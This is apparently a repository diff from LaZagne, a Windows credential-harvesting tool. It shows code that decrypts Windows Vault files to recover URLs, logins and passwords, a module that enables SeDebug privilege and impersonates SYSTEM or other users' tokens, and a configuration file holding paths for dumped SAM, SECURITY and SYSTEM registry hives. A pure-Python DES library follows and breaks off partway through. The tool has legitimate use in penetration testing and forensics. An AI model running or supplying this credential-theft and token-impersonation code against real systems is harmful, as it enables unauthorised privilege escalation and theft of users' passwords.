vpol_filename = os.path.join(self.vaults_dir, 'Policy.vpol')
if not os.path.exists(vpol_filename):
return False, u'Policy file not found: {file}'.format(file=vpol_filename)
with open(vpol_filename, 'rb') as fin:
vpol = VaultPolicy(fin.read())
ok, vpol_decrypted = vpol.blob_store_raw.decrypt_encrypted_blob(mkp)
if not ok:
return False, u'Unable to decrypt blob. {message}'.format(message=vpol_decrypted)
vpol_keys = VaultPolicyKeys(vpol_decrypted)
key_aes128 = vpol_keys.vpol_key1.key
key_aes256 = vpol_keys.vpol_key2.key
for file in os.listdir(self.vaults_dir):
if file.lower().endswith('.vcrd'):
filepath = os.path.join(self.vaults_dir, file)
attributes_data = {}
with open(filepath, 'rb') as fin:
vcrd = VaultVcrd(fin.read())
current_vault_schema = self.get_vault_schema(
guid=vcrd.schema_guid.upper(),
base_dir=self.vaults_dir,
default_schema=VaultSchemaGeneric
)
for attribute in vcrd.attributes:
fin.seek(attribute.offset)
v_attribute = VaultAttribute(fin.read())
# print('-id: ', v_attribute.id)
# print('-size: ', v_attribute.size)
# print('-data: ', repr(v_attribute.data))
# print('-has_iv: ', v_attribute.has_iv)
# print('-iv: ', repr(v_attribute.iv))
decrypted, is_attribute_ex = self.decrypt_vault_attribute(v_attribute, key_aes128, key_aes256)
if is_attribute_ex:
schema = current_vault_schema
else:
# schema = VAULT_SCHEMA_SIMPLE
continue
attributes_data[attribute.id] = {
'data': decrypted,
'schema': schema
}
# Parse value found
for k, v in sorted(attributes_data.items()):
# Parse decrypted data depending on its schema
dataout = v['schema'](v['data'])
if dataout:
return True, {
'URL': dataout.resource,
'Login': dataout.identity,
'Password': dataout.authenticator,
'File': filepath,
}
return False, 'No .vcrd file found. Nothing to decrypt.'

View File

View File

@ -0,0 +1,220 @@
# -*- coding: utf-8 -*-
# Original code from https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py
import sys
import traceback
from lazagne.config.write_output import print_debug
from lazagne.config.winstructure import *
import os
def get_token_info(hToken):
"""
Retrieve SID and user owner from Token
"""
dwSize = DWORD(0)
pStringSid = LPWSTR()
TokenUser = 1
if GetTokenInformation(hToken, TokenUser, byref(TOKEN_USER()), 0, byref(dwSize)) == 0:
address = LocalAlloc(0x0040, dwSize)
if address:
GetTokenInformation(hToken, TokenUser, address, dwSize, byref(dwSize))
pToken_User = cast(address, POINTER(TOKEN_USER))
if pToken_User.contents.User.Sid:
ConvertSidToStringSid(pToken_User.contents.User.Sid, byref(pStringSid))
owner, domaine, _ = LookupAccountSidW(None, pToken_User.contents.User.Sid)
if pStringSid:
sid = pStringSid.value
LocalFree(address)
return sid, owner
return None, None
def enable_privilege(privilegeStr, hToken=None):
"""
Enable Privilege on token, if no token is given the function gets the token of the current process.
"""
if hToken == None:
hToken = HANDLE(INVALID_HANDLE_VALUE)
if not hToken:
return False
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, os.getpid())
if not hProcess:
return False
OpenProcessToken(hProcess, (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(hToken))
e = GetLastError()
if e != 0:
return False
CloseHandle(hProcess)
privilege_id = LUID()
LookupPrivilegeValueA(None, privilegeStr, byref(privilege_id))
e = GetLastError()
if e != 0:
return False
SE_PRIVILEGE_ENABLED = 0x00000002
laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED)
tp = TOKEN_PRIVILEGES(1, laa)
AdjustTokenPrivileges(hToken, False, byref(tp), sizeof(tp), None, None)
e = GetLastError()
if e != 0:
return False
return True
def get_debug_privilege():
"""
Enable SE Debug privilege on token
"""
return RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE)
def list_sids():
"""
List all SID by process
"""
sids = []
for pid in EnumProcesses():
if pid <= 4:
continue
try:
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
if not hProcess:
continue
hToken = HANDLE(INVALID_HANDLE_VALUE)
if OpenProcessToken(hProcess, tokenprivs, byref(hToken)):
if hToken:
token_sid, owner = get_token_info(hToken)
if token_sid and owner:
pname = ''
sids.append((pid, pname, token_sid, owner))
CloseHandle(hToken)
CloseHandle(hProcess)
except Exception as e:
print_debug('DEBUG', traceback.format_exc())
continue
return list(sids)
def get_sid_token(token_sid):
if token_sid == "S-1-5-18":
sids = list_sids()
for sid in sids:
if "winlogon" in sid[1].lower():
try:
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, sid[0])
if hProcess:
hToken = HANDLE(INVALID_HANDLE_VALUE)
if hToken:
OpenProcessToken(hProcess, tokenprivs, byref(hToken))
if hToken:
print_debug('INFO', u'Using PID: ' + str(sid[0]))
CloseHandle(hProcess)
return hToken
# CloseHandle(hToken)
CloseHandle(hProcess)
except Exception as e:
print_debug('ERROR', u'{error}'.format(error=e))
break
return False
for pid in EnumProcesses():
if pid <= 4:
continue
try:
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid))
if hProcess:
hToken = HANDLE(INVALID_HANDLE_VALUE)
if hToken:
OpenProcessToken(hProcess, tokenprivs, byref(hToken))
if hToken:
sid, owner = get_token_info(hToken)
if sid == token_sid:
print_debug('INFO', u'Impersonate token from pid: ' + str(pid))
CloseHandle(hProcess)
return hToken
CloseHandle(hToken)
CloseHandle(hProcess)
except Exception as e:
print_debug('ERROR', u'{error}'.format(error=e))
return False
def impersonate_sid(sid, close=True):
"""
Try to impersonate an SID
"""
hToken = get_sid_token(sid)
if hToken:
hTokendupe = impersonate_token(hToken)
if hTokendupe:
if close:
CloseHandle(hTokendupe)
return hTokendupe
return False
global_ref = None
def impersonate_sid_long_handle(*args, **kwargs):
"""
Try to impersonate an SID
"""
global global_ref
hTokendupe = impersonate_sid(*args, **kwargs)
if not hTokendupe:
return False
if global_ref:
CloseHandle(global_ref)
global_ref = hTokendupe
return addressof(hTokendupe)
def impersonate_token(hToken):
"""
Impersonate token - Need admin privilege
"""
if get_debug_privilege():
hTokendupe = HANDLE(INVALID_HANDLE_VALUE)
if hTokendupe:
SecurityImpersonation = 2
TokenPrimary = 1
if DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation, TokenPrimary, byref(hTokendupe)):
CloseHandle(hToken)
if ImpersonateLoggedOnUser(hTokendupe):
return hTokendupe
else:
print_debug('DEBUG', 'Get debug privilege failed')
return False
def rev2self():
"""
Back to previous token priv
"""
global global_ref
RevertToSelf()
try:
if global_ref:
CloseHandle(global_ref)
except Exception:
pass
global_ref = None

View File

@ -0,0 +1,61 @@
# -*- coding: utf-8 -*-
import tempfile
import random
import string
import time
import os
date = time.strftime("%d%m%Y_%H%M%S")
tmp = tempfile.gettempdir()
class constant():
folder_name = '.'
file_name_results = 'credentials_{current_time}'.format(
current_time=date
) # The extension is added depending on the user output choice
max_help = 27
CURRENT_VERSION = '2.4.4'
output = None
modules_dic = {}
nb_password_found = 0 # Total password found
password_found = [] # Tab containing all passwords used for dictionary attack
stdout_result = [] # Tab containing all results by user
pypykatz_result = {}
finalResults = {}
profile = {
'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\',
'USERPROFILE': u'{drive}:\\Users\\{user}\\',
'HOMEDRIVE': u'{drive}:',
'HOMEPATH': u'{drive}:\\Users\\{user}',
'ALLUSERSPROFILE': u'{drive}:\\ProgramData',
'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\',
'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local',
}
username = u''
keepass = {}
hives = {
'sam': os.path.join(
tmp,
''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])),
'security': os.path.join(
tmp,
''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])),
'system': os.path.join(
tmp,
''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))]))
}
quiet_mode = False
st = None # Standard output
drive = u'C'
user_dpapi = None
system_dpapi = None
lsa_secrets = None
is_current_user = False # If True, Windows API are used otherwise dpapi is used
user_password = None
wifi_password = False # Check if the module as already be done
module_to_exec_at_end = {
"winapi": [],
"dpapi": [],
}
dpapi_cache = {}

View File

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,852 @@
#############################################################################
# Documentation #
#############################################################################
# Author: Todd Whiteman
# Date: 28th April, 2010
# Version: 2.0.1
# License: MIT
# Homepage: http://twhiteman.netfirms.com/des.html
#
# This is a pure python implementation of the DES encryption algorithm.
# It's pure python to avoid portability issues, since most DES
# implementations are programmed in C (for performance reasons).
#
# Triple DES class is also implemented, utilizing the DES base. Triple DES
# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key.
#
# See the README.txt that should come with this python module for the
# implementation methods used.
#
# Thanks to:
# * David Broadwell for ideas, comments and suggestions.
# * Mario Wolff for pointing out and debugging some triple des CBC errors.
# * Santiago Palladino for providing the PKCS5 padding technique.
# * Shaya for correcting the PAD_PKCS5 triple des CBC errors.
#
"""A pure python implementation of the DES and TRIPLE DES encryption algorithms.
Class initialization
--------------------
pyDes.des(key, [mode], [IV], [pad], [padmode])
pyDes.triple_des(key, [mode], [IV], [pad], [padmode])
key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes
for Triple DES
mode -> Optional argument for encryption type, can be either
pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining)
IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
Length must be 8 bytes.
pad -> Optional argument, set the pad character (PAD_NORMAL) to use during
all encrypt/decrypt operations done with this instance.
padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5)
to use during all encrypt/decrypt operations done with this instance.
I recommend to use PAD_PKCS5 padding, as then you never need to worry about any
padding issues, as the padding can be removed unambiguously upon decrypting
data that was encrypted using PAD_PKCS5 padmode.
Common methods
--------------
encrypt(data, [pad], [padmode])
decrypt(data, [pad], [padmode])
data -> Bytes to be encrypted/decrypted
pad -> Optional argument. Only when using padmode of PAD_NORMAL. For
encryption, adds this characters to the end of the data block when
data is not a multiple of 8 bytes. For decryption, will remove the
trailing characters that match this pad character from the last 8
bytes of the unencrypted data block.
padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL
or PAD_PKCS5). Defaults to PAD_NORMAL.
Example
-------
from pyDes import *
data = "Please encrypt my data"
k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
# For Python3, you'll need to use bytes, i.e.:
# data = b"Please encrypt my data"
# k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
d = k.encrypt(data)
print "Encrypted: %r" % d
print "Decrypted: %r" % k.decrypt(d)
assert k.decrypt(d, padmode=PAD_PKCS5) == data
See the module source (pyDes.py) for more examples of use.
You can also run the pyDes.py file without and arguments to see a simple test.
Note: This code was not written for high-end systems needing a fast
implementation, but rather a handy portable solution with small usage.
"""
import sys
# _pythonMajorVersion is used to handle Python2 and Python3 differences.
_pythonMajorVersion = sys.version_info[0]
# Modes of crypting / cyphering
ECB = 0
CBC = 1
# Modes of padding
PAD_NORMAL = 1
PAD_PKCS5 = 2
# PAD_PKCS5: is a method that will unambiguously remove all padding
# characters after decryption, when originally encrypted with
# this padding mode.
# For a good description of the PKCS5 padding technique, see:
# http://www.faqs.org/rfcs/rfc1423.html
# The base class shared by des and triple des.
class _baseDes(object):
def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
if IV:
IV = self._guardAgainstUnicode(IV)
if pad:
pad = self._guardAgainstUnicode(pad)
self.block_size = 8
# Sanity checking of arguments.
if pad and padmode == PAD_PKCS5:
raise ValueError("Cannot use a pad character with PAD_PKCS5")
if IV and len(IV) != self.block_size:
raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
# Set the passed in variables
self._mode = mode
self._iv = IV
self._padding = pad
self._padmode = padmode
def getKey(self):
"""getKey() -> bytes"""
return self.__key
def setKey(self, key):
"""Will set the crypting key for this object."""
key = self._guardAgainstUnicode(key)
self.__key = key
def getMode(self):
"""getMode() -> pyDes.ECB or pyDes.CBC"""
return self._mode
def setMode(self, mode):
"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
self._mode = mode
def getPadding(self):
"""getPadding() -> bytes of length 1. Padding character."""
return self._padding
def setPadding(self, pad):
"""setPadding() -> bytes of length 1. Padding character."""
if pad is not None:
pad = self._guardAgainstUnicode(pad)
self._padding = pad
def getPadMode(self):
"""getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
return self._padmode
def setPadMode(self, mode):
"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
self._padmode = mode
def getIV(self):
"""getIV() -> bytes"""
return self._iv
def setIV(self, IV):
"""Will set the Initial Value, used in conjunction with CBC mode"""
if not IV or len(IV) != self.block_size:
raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
IV = self._guardAgainstUnicode(IV)
self._iv = IV
def _padData(self, data, pad, padmode):
# Pad data depending on the mode
if padmode is None:
# Get the default padding mode.
padmode = self.getPadMode()
if pad and padmode == PAD_PKCS5:
raise ValueError("Cannot use a pad character with PAD_PKCS5")
if padmode == PAD_NORMAL:
if len(data) % self.block_size == 0:
# No padding required.
return data
if not pad:
# Get the default padding.
pad = self.getPadding()
if not pad:
raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
data += (self.block_size - (len(data) % self.block_size)) * pad
elif padmode == PAD_PKCS5:
pad_len = 8 - (len(data) % self.block_size)
if _pythonMajorVersion < 3:
data += pad_len * chr(pad_len)
else:
data += bytes([pad_len] * pad_len)
return data
def _unpadData(self, data, pad, padmode):
# Unpad data depending on the mode.
if not data:
return data
if pad and padmode == PAD_PKCS5:
raise ValueError("Cannot use a pad character with PAD_PKCS5")
if padmode is None:
# Get the default padding mode.
padmode = self.getPadMode()
if padmode == PAD_NORMAL:
if not pad:
# Get the default padding.
pad = self.getPadding()
if pad:
data = data[:-self.block_size] + \
data[-self.block_size:].rstrip(pad)
elif padmode == PAD_PKCS5:
if _pythonMajorVersion < 3:
pad_len = ord(data[-1])
else:
pad_len = data[-1]
data = data[:-pad_len]
return data
def _guardAgainstUnicode(self, data):
# Only accept byte strings or ascii unicode values, otherwise
# there is no way to correctly decode the data into bytes.
if _pythonMajorVersion < 3:
if isinstance(data, unicode): # noqa
raise ValueError("pyDes can only work with bytes, not Unicode strings.")
else:
if isinstance(data, str):
# Only accept ascii unicode values.
try:
return data.encode('ascii')
except UnicodeEncodeError:
pass
raise ValueError("pyDes can only work with encoded strings, not Unicode.")
return data
#############################################################################
# DES #
#############################################################################
class des(_baseDes):
"""DES encryption/decrytpion class
Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
pyDes.des(key,[mode], [IV])
key -> Bytes containing the encryption key, must be exactly 8 bytes
mode -> Optional argument for encryption type, can be either pyDes.ECB
(Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
Must be 8 bytes in length.
pad -> Optional argument, set the pad character (PAD_NORMAL) to use
during all encrypt/decrypt operations done with this instance.
padmode -> Optional argument, set the padding mode (PAD_NORMAL or
PAD_PKCS5) to use during all encrypt/decrypt operations done
with this instance.
"""
# Permutation and translation tables for DES
__pc1 = [56, 48, 40, 32, 24, 16, 8,
0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26,
18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14,
6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28,
20, 12, 4, 27, 19, 11, 3
]
# number left rotations of pc1
__left_rotations = [
1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
]
# permuted choice key (table 2)
__pc2 = [
13, 16, 10, 23, 0, 4,
2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7,
15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54,
29, 39, 50, 44, 32, 47,
43, 48, 38, 55, 33, 52,
45, 41, 49, 35, 28, 31
]
# initial permutation IP
__ip = [57, 49, 41, 33, 25, 17, 9, 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7,
56, 48, 40, 32, 24, 16, 8, 0,
58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6
]
# Expansion table for turning 32 bit blocks into 48 bits
__expansion_table = [
31, 0, 1, 2, 3, 4,
3, 4, 5, 6, 7, 8,
7, 8, 9, 10, 11, 12,
11, 12, 13, 14, 15, 16,
15, 16, 17, 18, 19, 20,
19, 20, 21, 22, 23, 24,
23, 24, 25, 26, 27, 28,
27, 28, 29, 30, 31, 0
]
# The (in)famous S-boxes
__sbox = [
# S1
[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],
# S2
[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],
# S3
[10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],
# S4
[7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],
# S5
[2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],
# S6
[12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],
# S7
[4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],
# S8
[13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
]
# 32-bit permutation function P used on the output of the S-boxes
__p = [
15, 6, 19, 20, 28, 11,
27, 16, 0, 14, 22, 25,
4, 17, 30, 9, 1, 7,
23,13, 31, 26, 2, 8,
18, 12, 29, 5, 21, 10,
3, 24
]
# final permutation IP^-1
__fp = [
39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30,
37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28,
35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26,
33, 1, 41, 9, 49, 17, 57, 25,
32, 0, 40, 8, 48, 16, 56, 24
]
# Type of crypting being done
ENCRYPT = 0x00
DECRYPT = 0x01
# Initialisation
def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
# Sanity checking of arguments.
if len(key) != 8:
raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.")
_baseDes.__init__(self, mode, IV, pad, padmode)
self.key_size = 8
self.L = []
self.R = []
self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16)
self.final = []
self.setKey(key)
def setKey(self, key):
"""Will set the crypting key for this object. Must be 8 bytes."""
_baseDes.setKey(self, key)
self.__create_sub_keys()
def __String_to_BitList(self, data):
"""Turn the string data, into a list of bits (1, 0)'s"""
if _pythonMajorVersion < 3:
# Turn the strings into integers. Python 3 uses a bytes
# class, which already has this behaviour.
data = [ord(c) for c in data]
l = len(data) * 8
result = [0] * l
pos = 0
for ch in data:
i = 7
while i >= 0:
if ch & (1 << i) != 0:
result[pos] = 1
else:
result[pos] = 0
pos += 1
i -= 1
return result
def __BitList_to_String(self, data):
"""Turn the list of bits -> data, into a string"""
result = []
pos = 0
c = 0
while pos < len(data):
c += data[pos] << (7 - (pos % 8))
if (pos % 8) == 7:
result.append(c)
c = 0
pos += 1
if _pythonMajorVersion < 3:
return ''.join([ chr(c) for c in result ])
else:
return bytes(result)
def __permutate(self, table, block):
"""Permutate this block with the specified table"""
return list(map(lambda x: block[x], table))
# Transform the secret key, so that it is ready for data processing
# Create the 16 subkeys, K[1] - K[16]
def __create_sub_keys(self):
"""Create the 16 subkeys K[1] to K[16] from the given key"""
key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))
i = 0
# Split into Left and Right sections
self.L = key[:28]
self.R = key[28:]
while i < 16:
j = 0
# Perform circular left shifts
while j < des.__left_rotations[i]:
self.L.append(self.L[0])
del self.L[0]
self.R.append(self.R[0])
del self.R[0]
j += 1
# Create one of the 16 subkeys through pc2 permutation
self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)
i += 1
# Main part of the encryption algorithm, the number cruncher :)
def __des_crypt(self, block, crypt_type):
"""Crypt the block of data through DES bit-manipulation"""
block = self.__permutate(des.__ip, block)
self.L = block[:32]
self.R = block[32:]
# Encryption starts from Kn[1] through to Kn[16]
if crypt_type == des.ENCRYPT:
iteration = 0
iteration_adjustment = 1
# Decryption starts from Kn[16] down to Kn[1]
else:
iteration = 15
iteration_adjustment = -1
i = 0
while i < 16:
# Make a copy of R[i-1], this will later become L[i]
tempR = self.R[:]
# Permutate R[i - 1] to start creating R[i]
self.R = self.__permutate(des.__expansion_table, self.R)
# Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here
self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))
B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]]
# Optimization: Replaced below commented code with above
#j = 0
#B = []
#while j < len(self.R):
# self.R[j] = self.R[j] ^ self.Kn[iteration][j]
# j += 1
# if j % 6 == 0:
# B.append(self.R[j-6:j])
# Permutate B[1] to B[8] using the S-Boxes
j = 0
Bn = [0] * 32
pos = 0
while j < 8:
# Work out the offsets
m = (B[j][0] << 1) + B[j][5]
n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]
# Find the permutation value
v = des.__sbox[j][(m << 4) + n]
# Turn value into bits, add it to result: Bn
Bn[pos] = (v & 8) >> 3
Bn[pos + 1] = (v & 4) >> 2
Bn[pos + 2] = (v & 2) >> 1
Bn[pos + 3] = v & 1
pos += 4
j += 1
# Permutate the concatination of B[1] to B[8] (Bn)
self.R = self.__permutate(des.__p, Bn)
# Xor with L[i - 1]
self.R = list(map(lambda x, y: x ^ y, self.R, self.L))
# Optimization: This now replaces the below commented code
#j = 0
#while j < len(self.R):
# self.R[j] = self.R[j] ^ self.L[j]
# j += 1
# L[i] becomes R[i - 1]
self.L = tempR
i += 1
iteration += iteration_adjustment
# Final permutation of R[16]L[16]
self.final = self.__permutate(des.__fp, self.R + self.L)
return self.final
# Data to be encrypted/decrypted
def crypt(self, data, crypt_type):
"""Crypt the data in blocks, running it through des_crypt()"""
# Error check the data
if not data:
return ''
if len(data) % self.block_size != 0:
if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks
raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.")
if not self.getPadding():
raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character")
else:
data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()
# print "Len of data: %f" % (len(data) / self.block_size)
if self.getMode() == CBC:
if self.getIV():
iv = self.__String_to_BitList(self.getIV())
else:
raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering")
# Split the data into blocks, crypting each one seperately
i = 0
dict = {}
result = []
#cached = 0
#lines = 0
while i < len(data):
# Test code for caching encryption results
#lines += 1
#if dict.has_key(data[i:i+8]):
#print "Cached result for: %s" % data[i:i+8]
# cached += 1
# result.append(dict[data[i:i+8]])
# i += 8
# continue
block = self.__String_to_BitList(data[i:i+8])
# Xor with IV if using CBC mode
if self.getMode() == CBC:
if crypt_type == des.ENCRYPT:
block = list(map(lambda x, y: x ^ y, block, iv))
#j = 0
#while j < len(block):
# block[j] = block[j] ^ iv[j]
# j += 1
processed_block = self.__des_crypt(block, crypt_type)
if crypt_type == des.DECRYPT:
processed_block = list(map(lambda x, y: x ^ y, processed_block, iv))
#j = 0
#while j < len(processed_block):
# processed_block[j] = processed_block[j] ^ iv[j]
# j += 1
iv = block
else:
iv = processed_block
else:
processed_block = self.__des_crypt(block, crypt_type)
# Add the resulting crypted block to our list
#d = self.__BitList_to_String(processed_block)
#result.append(d)
result.append(self.__BitList_to_String(processed_block))
#dict[data[i:i+8]] = d
i += 8
# print "Lines: %d, cached: %d" % (lines, cached)
# Return the full crypted string
if _pythonMajorVersion < 3:
return ''.join(result)
else:
return bytes.fromhex('').join(result)
def encrypt(self, data, pad=None, padmode=None):
"""encrypt(data, [pad], [padmode]) -> bytes
data : Bytes to be encrypted
pad : Optional argument for encryption padding. Must only be one byte
padmode : Optional argument for overriding the padding mode.
The data must be a multiple of 8 bytes and will be encrypted
with the already specified key. Data does not have to be a
multiple of 8 bytes if the padding character is supplied, or
the padmode is set to PAD_PKCS5, as bytes will then added to
ensure the be padded data is a multiple of 8 bytes.
"""
data = self._guardAgainstUnicode(data)
if pad is not None:
pad = self._guardAgainstUnicode(pad)
data = self._padData(data, pad, padmode)
return self.crypt(data, des.ENCRYPT)
def decrypt(self, data, pad=None, padmode=None):
"""decrypt(data, [pad], [padmode]) -> bytes
data : Bytes to be decrypted
pad : Optional argument for decryption padding. Must only be one byte
padmode : Optional argument for overriding the padding mode.
The data must be a multiple of 8 bytes and will be decrypted
with the already specified key. In PAD_NORMAL mode, if the
optional padding character is supplied, then the un-encrypted
data will have the padding characters removed from the end of
the bytes. This pad removal only occurs on the last 8 bytes of
the data (last data block). In PAD_PKCS5 mode, the special
padding end markers will be removed from the data after decrypting.
"""
data = self._guardAgainstUnicode(data)
if pad is not None:
pad = self._guardAgainstUnicode(pad)
data = self.crypt(data, des.DECRYPT)
return self._unpadData(data, pad, padmode)
#############################################################################
# Triple DES #
#############################################################################
class triple_des(_baseDes):
"""Triple DES encryption/decrytpion class
This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or
the DES-EDE2 (when a 16 byte key is supplied) encryption methods.
Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
pyDes.des(key, [mode], [IV])
key -> Bytes containing the encryption key, must be either 16 or
24 bytes long
mode -> Optional argument for encryption type, can be either pyDes.ECB
(Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
Must be 8 bytes in length.
pad -> Optional argument, set the pad character (PAD_NORMAL) to use
during all encrypt/decrypt operations done with this instance.
padmode -> Optional argument, set the padding mode (PAD_NORMAL or
PAD_PKCS5) to use during all encrypt/decrypt operations done
with this instance.
"""
def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
_baseDes.__init__(self, mode, IV, pad, padmode)
self.setKey(key)
def setKey(self, key):
"""Will set the crypting key for this object. Either 16 or 24 bytes long."""
self.key_size = 24 # Use DES-EDE3 mode
if len(key) != self.key_size:
if len(key) == 16: # Use DES-EDE2 mode
self.key_size = 16
else:
raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long")
if self.getMode() == CBC:
if not self.getIV():
# Use the first 8 bytes of the key
self._iv = key[:self.block_size]
if len(self.getIV()) != self.block_size:
raise ValueError("Invalid IV, must be 8 bytes in length")
self.__key1 = des(key[:8], self._mode, self._iv,
self._padding, self._padmode)
self.__key2 = des(key[8:16], self._mode, self._iv,
